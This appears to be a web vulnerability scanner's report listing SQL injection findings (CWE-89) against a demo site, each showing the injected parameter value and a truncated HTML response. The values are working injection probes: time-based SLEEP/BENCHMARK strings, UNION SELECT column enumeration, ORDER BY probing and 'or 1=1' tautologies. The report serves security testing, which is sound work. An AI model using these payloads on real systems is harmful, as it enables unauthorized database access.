cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #773
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io"&"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #774
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #775
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #776
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+
CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+
CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+
CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)+CHAR(113),NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #777
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=
device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/
head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> 
window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of
Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://
static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> <
/script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link
rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWF
nZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoq
IkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary hints 
on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #778
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #779
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 5--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #780
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 11
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #781
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
--Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language
="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </
script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet
" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-
aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-
- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:
image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSB
JbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgA
QIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #782
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 12#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #783
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #784
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioOR x=x--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #785
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioor 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #786
SQL InjectionScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #787
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' or 'x'='x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
